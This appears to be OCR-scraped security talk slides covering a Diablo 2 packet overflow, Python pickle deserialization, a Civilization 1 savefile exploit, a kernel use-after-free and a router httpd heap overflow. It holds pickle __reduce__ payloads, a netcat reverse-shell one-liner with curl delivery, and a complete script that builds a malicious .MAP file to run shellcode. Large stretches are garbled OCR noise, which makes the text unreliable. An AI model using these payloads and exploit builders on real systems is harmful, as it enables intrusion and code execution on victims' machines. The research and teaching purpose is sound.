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©x59 D2GS_PLAYERASIGN (new player in vision)
(DWORD) Player ID
(BYTE) Character class ; ©=Amazon, l1l=Sorceress, 2=Necromancer...
(BYTE[16]) Character name ; null-terminated, padded to 16 bytes
(WORD) Location X
(WORD) Location Y

©x79 D2GS_GOLDTRADE (gold trade offer)
(BYTE) Verified flag ; © = false, 1 = true
(DWORD) Gold amount

1d > s s x| I>x:J“xs.|\|,,s<”¢ SL X« X 3 Xsp N CHLxd .
XX s o B v 1S EA baxse X oxd X 31" 4 s X s T R4 |

Y79« « % %

void handle_packet(const uint8_t *buf) {
uint8_t id = buf[@];
(id) {
/* */
uint32_t player_id = read_dword(buf + 1);
uint8_t class = buf[5];
char name[16];

memcpy(name, buf + 6, 16); /
register_player(player_id, class, name);
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uint8_t len = buf[1];

char name[16];
memcpy(name, buf + 2, len);
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K T, % x 0 x [ (48 Kk & o, saxiiiip X JT41 X x <7y x 7y 7 0 X5y

v v o~ ~

pikle - ¢ T x THA LT T AT R LD ey L
pickle

data = {"user": "liran", "scores": [
print(“"data:\n", data)

blob = pickle.dumps(data)
print("\nblob: \n", blob)

restored = pickle.loads(blob) =
print("\ndeserialized data: \n", restored)

LA™ Il § "8 a1 J s ss ot 4l kR QS
\.Y< $ L >:S\.

data:

{"user': 'liran', 'scores': [10, 20, 30]}

blob:
b"\x86\x84\x95 ' \x00\x08\x00\x00\xe0\xee\xee}\x94 (\x8c\xed4user\x94\x8c\x851iran\x94\x8

c\xB6scores\x94]\x94 (K\nK\x14K\xleeu."

deserialized data:
{"user': 'liran', 'scores': [10, 20, 30]}
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def __init__ (self, legs):
.legs = legs
def _ _reduce__(self):
#

(Table, ( .legs,))
EERERELE €PN BRGNS LS T T B BT N SE IS BN VR o AV RS B RNP¢ I B
Jx XL LIPSt S« 922 o<W0 1 S 1~ %" 1 1.4 QX T Ai. £ ST NY

DX G2NDOKOR RDROPXHBGG*” s b x Isx { ¢ FE2XNDK” 1 x 4 .

LAA Q1. f Sx X1 _ .~ x Kl 4. %]
S”*-J-= X 1A -|~-{N J ,st { s

Dby A ] b K ov D de XS]« € {1HE0 Do LA GrlLEx S xaYs x

X IXosX, xs ]S GseiX{]«v. %X X ® €CFs” | . s , 4 s

pickle — Python object serialization

Warning: The pickle module is not secure. Only unpickle data you trust.

It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never
unpickle data that could have come from an untrusted source, or that could have been tampered with.

Consider signing data with hmac if you need to ensure that it has not been tampered with.

Safer serialization formats such as json may be more appropriate if you are processing untrusted data. See
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xS I AL X xS

<

2 XD A 8 &-G15°Y1 NBURWADS. » v x 4% _ {s ALY esmw2 | R

YT AU I 4D b oAsas Sl xdse 4 4 X X Iy Bs 4 {BsXex]. X

~

os
pickle

class :
def _ reduce__ (self):

(os.system, ("whoami",))

payload = pickle.dumps(Exploit())
pickle.loads(payload) #

AP ] T KK s TS X T X OBR2 FEVRA L 2 g stoe 4k os s
' X4i&)\(5-~1-|SJSLx‘|vﬁ*‘l’éﬁbhxs“tbij:A P HAZAsy wox o o
DT T e d A X R X € KGRty 4.1 2ERY X X

A

SYf $ 4 444X ko

pickle, os, base64

class :
def _ reduce_ (self):

(os.system, ("whoami",))

token = base64.b64encode(pickle.dumps(Exploit

pickle.loads(base64.b64decode(token)) #
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YA L4 s LIRO1ELS D x4 M, bk XSYRLIBANEG ©
baseg4
pickle

flask Flask, request

app = Flask(__name__)

@app.route(”/hackme”, methods=["POST"])
def hackme():
data = base64.urlsafe_bé4decode(request.form[ ‘pickled’])
= pickle.loads(data)

NB JS NES: 5K B el R xx{l {..x s

0s
baseg4d
pickle

class
def __reduce__(self):
cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f |
'/bin/sh -i 25&1 | nc 127.6.0.1 1234 > /tmp/f')
os.system, (cmd,)

print(base64.urlsafe_b64encode(pickle.dumps(RCE())))
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b'gASVawAAAAAAAACMAMS5@1IwGc31zdGVt1J0UjFNybSAvdGIwL2Y7IG1rZmlmbyAvdGlwL2Y7IGNhdC/
vdG1lwL2YgfCAvYmluL3NoIC1pIDI-JjEgFCBUYYAXMjCcUMCAWLJEEMTIZNCA-ICO9ObXAVZPSF1FKULgE==

curl -d "pickled=<payload>" http: //127.0.0.1:5000/hackme
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3\x94\x8cSrm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.8.0.1 1
234 > /[tmp/f\x94\x85\x94R\x94."
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A (@©ogrep pickeloads Ao gb Feedback

-
Compact
Repository .

# cython/cython tests/run/reduce_pickle.py

python/cpython

pickle.1oads

thebaselab/codeapp

B Appscale/gts pickle.loads

ray-project/ray
oracle/graalpython - pickle.loads
J RustPython/RustPython # geldata/gel edt

pyto ytorch
@ pyrorch/py ) = pickle.loads(init args pickled)

@ wikimedia/revscoring
pickled_state

pickle.loads
}
pickle. load:
pickle.load
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#query_params = pickle.loads(b64de.. X

query_params = pickle.loads(b64decode(str...
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/GO 1 Bm PTHS _ss L *xdEe L LA O L §X xw 3 x " v v

~

query_params = 51mple]son loads(b64decode saved_query.query))

pickle.loads

T X s, RO S P R ESRE G X B XK p % L s L
AR T

elpdesk > @ staff.py >
def run report(request, report)

request.GET.get('saved_query’,
from_saved_query =

saved_query = SavedSearch.objects.get(pk=request.GET.get( 'saved_query’
SavedSearch.DoesNotExist:
HttpResponseRedirect(reverse('helpdesk_report_index'))
not (saved_query.shared or saved_query.user == request.user):
HttpResponseRedirect(reverse('helpdesk_report_index'))

pickle
base64 bé4decode
query_params = pickle.loads(be4decode saved_query.query).encode
report_queryset = apply_query(report_queryset, query_params)

collections defaultdict
summarytable = defaultdict( )
i —
summarytable2 = defaultdict( )
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~
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query_params = pickle.loads(b64decode(str(saved_query.query).encode()))
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class :
def _ reduce_ (self):
cmd = ('whoami > pwn.txt')
os.system, (cmd,)

print(base64.urlsafe bédencode(pickle.dumps(RCE()
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104 djson 4 _ v xsx o ssoox IXsp o LoxD o XA sy ] X IS {TxC 4 L o

"result”: "<serialized-bytes>",
"metadata”:

"serializer": “"type": "pickle" },
"storage_key": "some-key"
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Deployments

Deployment

exploit-deployment
s er-1

Deployments

victim-deployment
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Deployments / victim-deployment

Run >
Flow G2 victim-flow  Work Pool 3 Work Queue

Quick run

Runs Upcoming Parameters Configuration Description
+ Schedule Custom run

Next Run

victim-flow

Deployment ;¥ victim- y t  Work Pool & loca Work Queue

Search by run name All except scheduled ¢ Newest to oldest
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C Refresh

Request  Response [ &= From IP address:
vldrpzfhezlioejvgela403d 1nvOdhdpi.oast.fun @ ED

Request
Copy (]

lioejvgelade3d1nvadhdpi.oast. fun

less than a minute ago

Response

Copy (J1

edentials:true

<:Content-Type, Authorization

text/html; toutf-8

un
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(should | use pickle? )

Need to deserialize
advanced data?

No

Specifically need
to use pickle?
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https://docs.python.org/3/library/pickle.html

https://cxnsxle.hashnode.dev/deserializatisulnerability

https://portswigger.net/web-security/deserialization

https://web.archive.org/web/20071030183649/http://forum.valhallalegends.com/index.ph
p?topic=11756.0
https://qgist.github.com/amtal/bf941bde443eefc7d4626fd439d7f480

https://www.reddit.com/r/diablo2/comments/1md2494/somebody asked how many line

s of stats an item/#lightbox

https://owasp.org/www-community/vulnerabilities/Deserialization of untrusted data

https://davidhamann.de/2020/04/05/exploitingpython-pickle/

https://github.com/swisskyrepo/PayloadsAllITheThings/blob/master/Insecure%20Deserializa

tion/Python.md
https://nedbatchelder.com/blog/202006/pickles nine flaws

https://github.com/advisories/ GHSfgmMcfxxp-r589

https://github.com/tendenci/tendenci/security/advisories/GHSFS9m4qw5i2g3

https://snyk.io/blog/quideto-python-pickle/

https://www.blackduck.com/blog/pythorpickling.html
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https://www.reddit.com/r/diablo2/comments/1md2494/somebody_asked_how_many_lines_of_stats_an_item/%23lightbox
https://www.reddit.com/r/diablo2/comments/1md2494/somebody_asked_how_many_lines_of_stats_an_item/%23lightbox
https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data
https://davidhamann.de/2020/04/05/exploiting-python-pickle/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Python.md
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Python.md
https://nedbatchelder.com/blog/202006/pickles_nine_flaws
https://github.com/advisories/GHSA-jqmc-fxxp-r589
https://github.com/tendenci/tendenci/security/advisories/GHSA-339m-4qw5-j2g3
https://snyk.io/blog/guide-to-python-pickle/
https://www.blackduck.com/blog/python-pickling.html
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Technologic

:10a8 lodsw ; block signature
:10ad cmp al, ; low byte == image block (
:10af je ; image handler (LZW/RLE)
: mov di, ds
mov es, di ; ES = DS = DGROUP
lea di, [ ] ; fixed destination buffer, no size known
cmp ax,

:10cf  push di
:10d0 stosw ; store signature word into the buffer

lodsw ;ax = block LENGTH (straight from the

:10ee stosw length word into the buffer
:10ef mov cx, ax

:10f1 shr cx, ;cx = length /2 words

:10f3 jexz

105 ... ; (buffer - refill plumbing)

: stosw ; copy loop: file ->ES:DI ( +)

: loop ; repeated  length /2 times. NO BOUNDS
CHECK.

1nENMPIONEYIT: 4 40 X AA TYHR GtdNB * x4 91, X TXs| L x s
f SYy@UKSHIXDGROUP: OXx€L928 X v X nXux®s o1 sx0] %" 44 .
LS Fox oix s f b 2xxX xhkx bdwXxs oxlpgd g X7
FAL XKUY CpIMopl ¥ X ] T x DEEO2E 02 F P&ASid18 " 7 x 1.4l

MORREE B A Tox X, ok,
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File : segfind. asm
Purpose: Prints out the DGROUPvalue . ;
Remarks. - Compiled as COM: nasm - f bin segfind. asm - o SEGFIND.COM
- Our exploit relies on the load base, which is different
between DOSBoxand DOSBoxX, for example. ;
- To use the exploit, use -- dgroup Ox(value ). ;

bits 16
org 0x100

;. Get the section and add the offset
mov  ax, cs
add ax, Ox2a2b ; Offset of DGROUP

; Prepare the hexadecimal buffer
mov  di, hexbuf
mov  cX, 4

; Translates the value to printable characters
rol  ax, 4
mov bl al
and bl, OxOf
10

‘A' -10

; Handles digits
add bl, 'O

; Add the value to the hexadecimal buffer
mov  [di], bl

inc di

loop .h

; Prints out the buffer
mov ah, 0x09

mov  dx, msg

int 0x21

mov ah, 0x08

int 0x21

mov  ax, 0x4c00
int 0x21

Data "section"
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msg db 13, 10, 'DGROUP = 0x' Message header
hexbuf db '0000' ; Hexadecimal buffer
db 13, 10, '$ Message footer

XX XX W@ TS W XK DwWheTl . Do 4185 Ly xsx (4 ]8T xxEx,

~ > ~

XS Jp o4 L dEkx LS T ks b4« BR§E 4% A% SUHRg X Xk

Bh{ .L2E~, « X 05 Dwh! t

THT X 0T

>

*Suxosppd RANBAZLIL * w b |4~ 3 514 %,

>

~v

X«

SPOIS b A X 44X, L s % §8 {XC] { ] "Hh{ L2 x|

#!/usr/bin/env python3
import  struct

import  sys

import argparse

i

Civilization 1 (MS - DOS) .MAP exploit builder --  arbitrary code execution

from a savefile.

Vulnerability

Loading a saved game parses the paired CIVIL#. MAP as a PIC image.

The PIC block loop (CIV.EXE / ORIGINAL.EXE, at code 0823:10cf) copies any
non- image block verbatim into a fixed scratch buffer.

That buffer exists at DGROUP:0xC926, and the copy uses the block's 16
length field straight from the file with NO bounds check:

lodsw ; ax = block length (attacker - controlled)

mov cX, ax

shr cx, 1

lodsw / stosw ; copy “length” bytes
DGROUP)

->es:0xC926 (es=ds =
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Because DS == SS == DGROUP (0x2BBD in DOSBox, deterministically), the copy runs
straight up through the game's globals.
We don't need to smash a return address: sitting in that range is the
parser'sown" refill " far - pointer at [OXE83A], which it calls (Icall [0xe83a])
to top up its read buffer.
We overwrite that pointer to aim at our shellcode, which we stage at the
very start of the copied block (DGROUP:0xC92A).
When the parser finishes our block and loops for more data, it calls the

refill vector - and then our code runs.

Keeping the whole .MAP within one buffer read (default block 0x2000
KB file) means no refill happens during the copy, so surrounding globals stay

intact until the hijack fires.

python3 civl_map_exploit.py shellcode.bin CIVILO.MAP  # from a raw
binary
python3 civl_map_exploit.py -- hex 'b8 13 00 cd 10 ...' CIVILO.MAP
Then load slot 0 in the game (keep a valid CIVILO.SVE alongside it).
# The data segment (SS) as loaded by DOS - the shellcode executes here
DGROUP Hx2BBD
# Where block - data byte 0 lands - this is the shellcode's entry point
DEST = OxC92A
# Far pointer the parser calls to refill its read buffer
REFILL_PTR = OXE83A
# Palette block - low byte 0x45 != 0x58 so it takes the copy path
BLOCK_SIG =0x3045
def build(shellcode:bytes, dgroup: int =DGROUP, block_len: int =0x2000,
fill.  int =0x90) - > bytes:

Return the bytes of a malicious CIVIL#MAP carrying the shellcode.
The " dgroup " variable is the game's runtime data segment. It depends on
the DOS memory layout, so it differs between emulators/configs. Use SEGFIND.COM

in the environment if unsure.

# The offset of [OXEB3A] within block data
ptr_off = REFILL_PTR - DEST
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# Validations

assert len(shellcode) <= ptr_off, Exception (f 'Shellcode too long
(max={ptr_off})’ )

assert block len<= 0x36D0, Exception ('The block length must not pass
0x36D0")

assert ptr_off + 4 <= block_len, Exception (f 'The block length must be at

least Ox{ptr_off+4:x}' )

# Build data
data = bytearray([fill]) * block_len
data[ O:len(shellcode)] = shellcode
shellcode at DGROUP:DEST
struct .pack_into( ‘'<HH', data, ptr_off, DEST, dgroup)
[OXE83A] points to dgroup:DEST
return struct .pack( '<HH', BLOCK_ SIG, block _len) + bytes(data)

def main():

# Parse commandline

ap = argparse. ArgumentParser (description=  'Build a malicious Civl CIVIL# MAP
from shellcode.' )

ap.add_argument( 'shellcode’ , help= 'raw shellcode file (or use -- hex)' )

ap.add_argument( ‘output’ , help= ‘output .MAP path (e.g. CIVILO.MAP)' )

ap.add_argument( ' -- hex' , dest= ‘hexbytes' , help= 'shellcode as hex string
instead of a file' )

ap.add_argument( ' -- dgroup' , type= lambda x: int (x, 0), default =DGROUP,
help='game data segment (0x2BBD for dosbox; use SEGFIND.COM otherwise)' )

ap.add_argument( ' -- block -len' ,type= lambda x: int (x, 0), default =0x2000,
help="how many bytes the game copies (0x2000) by default' )

args = ap.parse_args()

# Parse shellcode
if args.hexbytes:

[

sc = bytes.fromhex(args.hexbytes.replace(

*o)split( # )L 0])
else :

).replace( 'Ox' ,

with open(args.shellcode, 'th* ) as fp:

sc = fp.read()
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# Build the blob

blob = build(sc, args.dgroup, args.block_len)

# Write to the map
with open(args.output, ‘wh' ) as fp:
fp.write(blob)

if __name__ =="' main_'

main()
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P74 8 8 X M XM XS S w107« X AFB 2R S Tiex 1445 s
T T s % Rl ZD2SRE L5 s " v 1S 0T . Pl DX X CIH S, 4T @0
Y . ShiEs

0077d5: b8 3a mov  ax, i AX = = size of a record

0077d8: f7 6e c6 imul  word ptr [bp-0x3a] ; DXAX-= * [bp - 0x3a]
(nation index * )

0077db: 8b fO mov si, ax ; S| = byte offset of this nation's record

Mood:
0077dd: b8 mov  ax, ; prepare argument for rand(3)

0077e0: push ax ; ditto

0077el: 2d Icall :0x5b ; rand(3) invocation
0077e6: add  sp, ; pop the argument (cdecl cleanup)
0077e9: dec  ax ; AX = rand(3)

0077ea: mov  [si+Ox1512], ax ; Nations[i].Mood = rand(3)
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Pointer: OxF&AFFFELP79509 XXX
A

Tag = OxFé& (embedded in pointer's upper byte)

Memaory: [16-byte granule at OxFFFFFE1979509000 ]
Tag RAM entry = OxF7

On load/store: OxF& # OxF7 2 TAG CHECK FAULT

Tag Lifecycle )¥ v v+ 4 4-1x¢ 7
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Ly @G 2N LIDE ADBA 20RSQbE x 1w gy s |, s
LTS LD T L e S TSXOHT XY X sy TR X | D X ] s

P - AW B BIR HY & 4 x x4

s H{M A AP d 1 @ 0 X % e T Yreaderwriter lock T X "kock A
O N U A s

A >

TR 4 4% g xde_ 4" s Syl x TX{{rF4ix mutex ¥ x x_cLockB 1

SHYPx b b g T kT X e X xS L b L x T ST S

> v ~ o~

X7 TN S e, T v L X T B GISxshEs o L x@® G RiE 210 s L,
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[

// Pseudocode = actual function redacted
int subsystem_operation(uuid t object_id, ...) {
J// Fhase 1: look up the object under the global lock
READ LOCK(&global registry);
obj = tree_find(&global_registry, object_id);
if (lobj) { READ_UNLOCK(&global registry); return NOT_FOUND; }
client = obj-=owning_client; // save references
saved_obj = obj; {/ saved in register (stack-local)
READ_UNLOCK(&global _registry);

J/ ***% UNPROTECTED WINDOW ***

J// No lock protects saved_obj here. ~5 instructions wide.

// Phase 2! operate on the object under the per-client lock

LOCK(&client->mutex); /{ may block if contended
flags = saved_obj->flags; // ¢ LDAD from saved obj
J* ... more reads from saved obj ... */
UNLOCK (&client->mutex);
return 0K;
}
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[/ Pseudocode — destroyver side

void destroy_object{client, obj) {
WRITE LOCK(&global registry);
tree remove(&global registry, obj); Jf unlink from tree
WRITE UMLOCK(&global registry);

LOCK (&client-»mutex) ;

f* ... more cleanup still holding lock ... %/
UNLOCK(&client->mutex);

kfree typel(obj_type, obj): // # MEMORY FREED, tag changes

Youxxsx sx L, OIS 10 fidm U dzOrS B X 1% ] F RS 1A x|

~

X X . xa2¢g><=~) X ‘,,s<=><skx
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Y 11 'II-"'IX«XLu.]:SS . ¢s"yxx‘s‘v"2$q1 | < J q Z-|Z'||_sA ¢:< X, qd., x" s,I“vs-| -

panic{cpu X caller OxFFfffe@@XXXXNNXK):
Kernel tag check fault (expected tagged address: OxF7FFFEXXIO(XXXXX)
at pc OxFEFFfe@@XO0000000, 1Tr GudOOO00O0N0000MNK

%¥19: OxFAFFFEXXXXXXXXXX ; client pointer (loaded under Lock A)

x26: OxFOFFFEMNXXNAXXXKX ; STALE object pointer — tag OxFé

far: OxFAFFFEXXXXXXXXXX ; faulting address, tag OxFé

esr: Ox0000000O?6000011 ; DFSC = Ox11 + Synchronous Tag Check Fault

panicked thread schedFlags: TH SFLAG RW PROMOTED
(priority promoted: 31 + 44, rw-lock contention witness)

Y X4s, x 1w x 4 D x ., NBIAEADSNDAAGHESS x 1 X .«

~ o~ ~ ~

S v v IS8 xy I OXFEY ¢ 5 v X26~ Y x . Stafe pointer)” _ x {1 _ $* q s
N« D N s

LTt s 17 L Tyt o sOxF7Y f 5 < 1 paniat - | ! xbexpected tagged addresg | s
“®» . 14X .s ] kireei 'L {Tag RAM
S 4w XIS X L] GOOKXKXXXXXXXXXXX . ¥ 4 &, Rt d -~

slow 01 dcexse @ | Indutexst® _ 4 1o w8 4 X R4 ¢ @kOmix_lock contended

Cx{Is@ASHE L Xt % T X | A L=sv25‘sx~)s d.sXx 2 S, ] X pthé

» ~

<. . Thread B¢ = _ € % qmjutexstt + X s W Fhread At J s~ _ <1 s.s%, { _ {

B S B B
DXL ¥ {ux ] 4 gl s { X <. <" x | TH_SFLAG_RW_PROMOTED! Y
Thread Bt 1 4 &8 * x7_Xx $q¢eaderwriter lock (- x _ ¥ 7 X < pridrity promotiond

RBAD LO®K- {1 € 14sTHread A1t * 4X5* % ¥ % S |(AWRITE_LOGK1 ~s._ 1 ”

LIF AKX & x o 4% 48 T S s, ST U L e 87 T sh w4 %

S v LS P TEX LT ]k XIisel Ja G R X a oS A S g 1% o4

TP x| 4sX & xs (s « fyss . 4 X
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rdgistry lock- ¥ « % 7., . 1 _state pointeb”™ _ X § X . XThread A @
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I xx s SNY SfrY kil FAa@ 0 s *t 4.4 L1 ,Xx p 147X $x {4 wxP

Tx T T AL ¥ ST S P xS X X NREAE s 4 1
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aYe 91 X . X XS~ X Wy {2 ¥st o x9{fw

/I Tag Check Fault (MTE)

ESR = 0x0000000096000011
EC[31: 26] = O0x25 y Data Abort from current EL
DFSCpB: 0] = O0x11 y Synchronous Tag Check Fault

/I Data Abort (non - MTE)
ESR = 0x0000000096000021

EC[31: 26] = O0x25 y Data Abort from current EL
DFSCB: 0] = 0x21 y Alignment Fault

FdL X B
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flashrom is free software, get the source code at https://flashrom.org
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Webs © .~ 4 . X xs 5 . Heap Overflow 4ss¢ s . % © & | x ]s

Y B X xS @ K I o KL HE X SEXET L X 474
S w41 1S _ «XY. "Lsy xsd " s s« | Degial of Servigg x ~:4 _{-"1 s

2 IR TR (R T  E  E Y

Poxpaesy X O hty@dre « « xsx Lhiipd = 24 "4 s Frs 181 x> 7
1o X s v xo sk P L Ty, X pufferd, « X T Ll d | ¥ s X |3
STk TxxE g f s oxIxsIo DXl Jlxxg Hd HA Ry (k3 XX T .
LX 4T s g 4% Ny x5 T B 4 T ST xsyopxe
Pd o 07Xl s $P 4 e ") X IS ik X D ] s
PSS 4 ss_ Lo b 4 EXXHRS T

1 oaasZ* x p T80 X7 X e @S T v WX qsicY s xIsy s s
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~ v

S .« « ! vymairf _hEpRpmUpload 1 « « ¥ | x ] s x

I

~[LORD 004 TE G0 EVFEZ_Sym <aHLipbasicrpuin - byte #0EADC,\
i httpBasicRprlnit, 0440, 0x1Z,%
[

[1732 Sy <a sHitgbakr
akNRestore Pp sin
"oz, 0, 0

estor - byte 40E4DC,\

,L/—i—%ﬁf‘“ x%

—
N e
T LDAD :0D4(B4EC: E1F3Z_Sym <aHitprpmupload - byle 40E4DC,\ -
oo | \ : ‘ \ NOLORpuR 043 , 4BIC, DRLZ, \
0, OxA>

= |

LOAD :! UNCCGIE E1f3Z_Sym I\\lphrruareup byte_40E40C,\
s dploacpnie, |
12

LOAD ]ULD‘\EDC E1f3Z_Sym <aHttpconf uF'\Uaj 0 - byte_40E40C,%
septanilpleas, 02,

e

\ _/ —_ | /;/I/ . rf

L — L o

— T . —— —

—— —
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XX D LROST | M0 X7 1 XEIET g el x L, IS8 T sy xxs gy
11~ 117 1. xsmulfipart/form-data ¥ x 4 Sss_« *isxdp, Lows T % 1
% I FTE R

XX B Xs s €0 Xy o s X

~ o~ a

LX s S BT Y S D X Xl

>

>

A LS L X ,,|;$\|_SS:XS\.,,-|XS

vv o~ A~

|cf Decompile: httpBakNRestoreRpmsInit - (httpd)
1

2lfu-id httpBakNRestoreRpmsInit (void)

3

4

! /* Registers the upload URL /incoming /RouterBakC
fgUpload as a public

& (no-login) path, unlike the fuserRpm/ admin page
s -t why the attack

7 sword. */

& /* Registers an admin page that DOES require logi
n (argument 2 = protected). */
9 httpRpmConfAdd(2," juserBpm/BakNRestoreRpm.htm", httpBak
MNRestoreRpm_pageGet);
10| httpRpmConfAdd(2," fuserRpm/config. bin", httpConfigBinDown
load_get);
11| httpRpmConfAdd(2," fuserRpm/ConfUpdateTemp . htm", httpCon
fUploadTemp);
12 [* Registers [/incoming /RouterBakCigUpload.ciyg as
public (argument 4 = no login)
13 el b - svanblnsabimi
httpRpmConfAdd(4," /incoming /RouterBakCigUpload.cfg”, http
ConfUpload);

ELARE A0 gz e

16 return;
17}
18

x " 1 v htpConfUploads 4 « « F A _ ¥4 T T T T L0 s T DX

~

/incoming/RouterBakCfgUpload.cig*Y® 1 - +" POST _ «+ 4 L * «

httpRpmConfAdd( , , httpConfUpload );

METHOD HANDLER

CANNYGINBf Ayl 2wtnnbzX
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|C4 Decompile: httpConfUpload - (httpd)
1

2 h“- httpConfUpload{undefined4 param 1)

int iVarl;
uint uVar2;
uint uVar3d;
short sVard;
undefined4 uVar5s;
char *poVarb;
undefined4 local 48;
undefined4 local 44;
char acStack 40 [36];

2

/* Handler for /incoming/RouterBakCfgUpload.cfy;
simply calls the vulnerable
parser httpRpmUpload. */
local 44 = 0;
memepy (acStack 40," juserRpm/ConfUpdateTemp. htm",0x1¢);
DAT 00550%e8 =0;
DAT_005509d4 = 0;
DAT_00550%dc = 0;
DAT 005509d0 = &local 48;
DAT_005502d8 = &local 44;
DAT_005509e0 = acStack 40;
DAT 00550%ed = strlen(acStack 40);
/* Calls httpRpmUpload - the vulnerable parser wh
ere the overflow and the HTTP

Zl iVarl = ELLLpRp:u'L'pluatl(pal:am 1);
—

—

—
uVar? = httpMimeContentLengthGet(param_1,0);
uVard = uploadBufLenGet();
if (uVar2 = uVar3) {

return -1;
}
pcV = "JjuserRpm/BakNRestoreRpm.htm";
uVard = 23000;
}
else if (iVarl ==-2) {

peVart = "fuserRpm/BakNRestoreRpm.htm";
uVari = 0x59%da;
}
else {
httpStatusSet(param_1,0);
httpHeaderGenerate(param_1);
httpPrintf(param_1,
"=SCRIPT language=\"javascript\" type=\"text/javascr
ipt\">\nvar %s = new Array(\n",
"tempPagelnf");
local 48 = sysGetUploadConfigTime();

X htt@RpmUploadrts © 5~ h#tConfUploads

L1y 4Ses 105 4 multipart: _ < @ < 5 ] e
X wox qusx WAL bo®rmlanyr x ¥ ¥ x4 To4x s 7
N

L{VY;')G-'

(I NTD: % B BT B X S ., % N Slo} X°SX~X o 2k

‘I ‘“qx Exy’ -]n \X~'IJ~J

x

¢_I o ”“S'I

S« ~» L
>

v

Sq’).‘LX]S

”|SSX|-|“

~ >

I, X S

~> v v
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Dol U

gin via /incoming/ (0x43c180).
50 *]
51| isFilePart[0] = 1;
52| bytesRemaining = 0;
33| if ((DAT 005508b4 == (undefined1 *)0x0) &&
54  (DAT 005508b4 = (undefined1 *juploadBufGet(), DAT 0055
08b4 == (undefined1 *)0x0)) {
53| return-1;
36 3
57| *DAT 005508b4 = 0;
58| uploadFileSizeSet(D);
59 local 64 = DAT 005508b4;
pcVard = (char *httpMimeContentTypeGet(param l,m:
/* [1] Entry gate: only multipart/form-data is parse
d. The PoC matches. =/
iVard = stremp(peVar3,"multipart/form-data");

1 =] 11

64 if (iVard = 0) goto LAB_0041d400;

65| local 58 = (char *httpBoundaryGet(param_1);
66| local 38 = strlen(local 58);

67| memPool = httpRegMemPartldGet(param_1);

68 e in ) e Do (s

6 puVars = (void ®ymemPoolAlloc{memPool, 0x800);
T if (pvVars == (void #)0x0) {

AT OVarly =14;

721}

chunkBuf = (void *)memPoolAlloc({memPool, 0x800);
if (chunkBuf == (void *0x0) {

7 -

76 4

7] fieldNameBuf = (char *)memPoolAlloc(memPool,0x40);

7q if (fieldNameBuf == (char *)0x0) {

7 TP p—

80

81 /* [2] Victim buffer: fixed 2048 bytes (0x800). Size

poolBuf2048 = memPoolAlloc({memPool, 0x800);
if (poolBuf2048 == 0) {

/* [3] Content-Length -= loop counter. Only checke
d vs the BIG upload cap, not

87 vs 2048 %/

88 fuVar6 = httpMimeContentLengthGet(param_1,0);
89§ bytesRemaining = uVar6;

a0 uvart T ==

91 uVarl7 = uploadBufLenGet();

92| uVar9 = bytesRemaining;

a3 < uVarl7) {

94 0;

95 7 = strlen(local_58);

ag S TR W S S R T T T S T

ooy boxevdXe ok Tesddien o Do XIYIRAXIR I n oy ToXpyss< o x oy

~ v ~

PODIBUT2048)TT X L ¥ 4 XXTssS XEx 2 {4 ¥ o84 | 4. st ow{ (e | ]

~ ~ a A~

wos ks s YL H X X% ds T B IX ps Ll o Herm X X %]

a ~ vo

s & xssl IS, « » XPr YrdL X+ XSy IS 131 0N % X s X814 . « "X x

v >a

@ontentLength. 1 ~ :ss .. 4 HitpMimeContentLengthGetr @& x T { «
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q v,_-|y”|\; 1 ¢.] W,,,_}-|q;v |, j -|°><>t X JsX” ] Xusqsls x § s] X o Jsvlsx <" s
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(O N IA
S S 4 s -

T
218 LAB_0041cif8:

219 /* [5] Non-file field (isFilePart=0) -> takes the UNB
QUINDED cop nath belga: =/

220 I if ((isFilePart[0] == 0) || (isFileField == 0)) {

221 I E AR L LY the 2048
buf at a running offset, no

222 bounds check. Runs twice: 2048 then ~52 (overil

223 memepy((void *){poolBuf2048 + cumWriteOff),chunkB

uf,uVari);

224 T

225 [* [7] cumWriteOff grows each chunk, NEVER com
pared to 2048. This missing check

226 = the bug. 0> 2048 > 2100 %

227 [ cumWriteOff = uVart + cumWriteOff;

228 TUTITITITT WEILE DIeer (Carrrrtoon) grows each ¢
hunk but is never compared to

229 2048 - this missing check is the vulnerability. */

230 }

Ixsx X : s Xsx""F o ] XxI] s TY¥] XX ST S] LY p XY | X | S

g X sz s Ry s XYk DX

A<

S X XS NSk XSV | o xS | B IS x ]

~

s® O« * . yjContentLength: ~ * x I -~ .1 ° xbytesRemaining " * _ _ s
memcpy: X | <~ o~ XX .1 d 20 1T chinkBub | 1w S 0 a1

s + L bytESRemaining - 1
x ¢ d XcumWriteOffs ” © _ nis® {1 bytesRemaining ! s

memcpys -

>

~

X« o w ™ X s poodBuf2048 x X S+ I 8
NN T
XL X ZRN Y X9 Yo X s x W Sy @dnondy, « XSl oxl x

poaBuf2048 x L % X ¥ X x

Kol 4 x4
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110
111
112
113
114
115
116
117

119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135

137
138
139

local 68 = 0;

uvarl? = 0;
if (bytesRemaining == 0) break;
/® [4] Parses one field header: fills the name and se
ts isFilePart (0 = no
filename=). */
iVard = httpMultipartPartHeaderParse(param_1,local 34,1
ocal 2c,local 30,fieldNameBuf);
uVarl?7 = bytesRemaining;
if (iVard ==-1) {
puts("Protocol violation - Header format mismatch\r");
uVarl7 = 0x20;
break;

sVar7 = strlen(field NameBuf);
if ((isFilePart[0] == 0) || (sVarT == 0)) {

118 LAB 0041cd30:

isFileField = 0;
}
else {
isFileField = 1;
i ldNameBuf == (char *)0x0) {
ar7 != 1) goto LAB_0041cd30;
i ~mp{(char *)0x0," ");
isFileField = (uint)(iVard 1= 0);
}
}
uVard = 0x800;
if (u 17 = 0x800) {
uVar9 = uVarl7;
}
cumWriteOff = 0;
local Se=1;
pvVar8 = pvVars;

136 LAB_0041d0ac:

pvVar5 = pvWar8;

uVarl? = 0;

if ((uVar9 == 0) || (bytesRemaining == 0)) goto LAB_0041d
Oed;

uVarl7 = 0;

if (local 60 1= 0) {

= bytesRemaining - uVarl7; I
Ui
sVar’ n{local 58);
if (uVarl7 < sVar7) {
local 54 = 0;
¥

else {

AN

Lslox gy o
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Decompile: httpRpmUpload - (httpd)

L ey

216 local 54 = 0;

217 }

218 LAB_0041cffa:

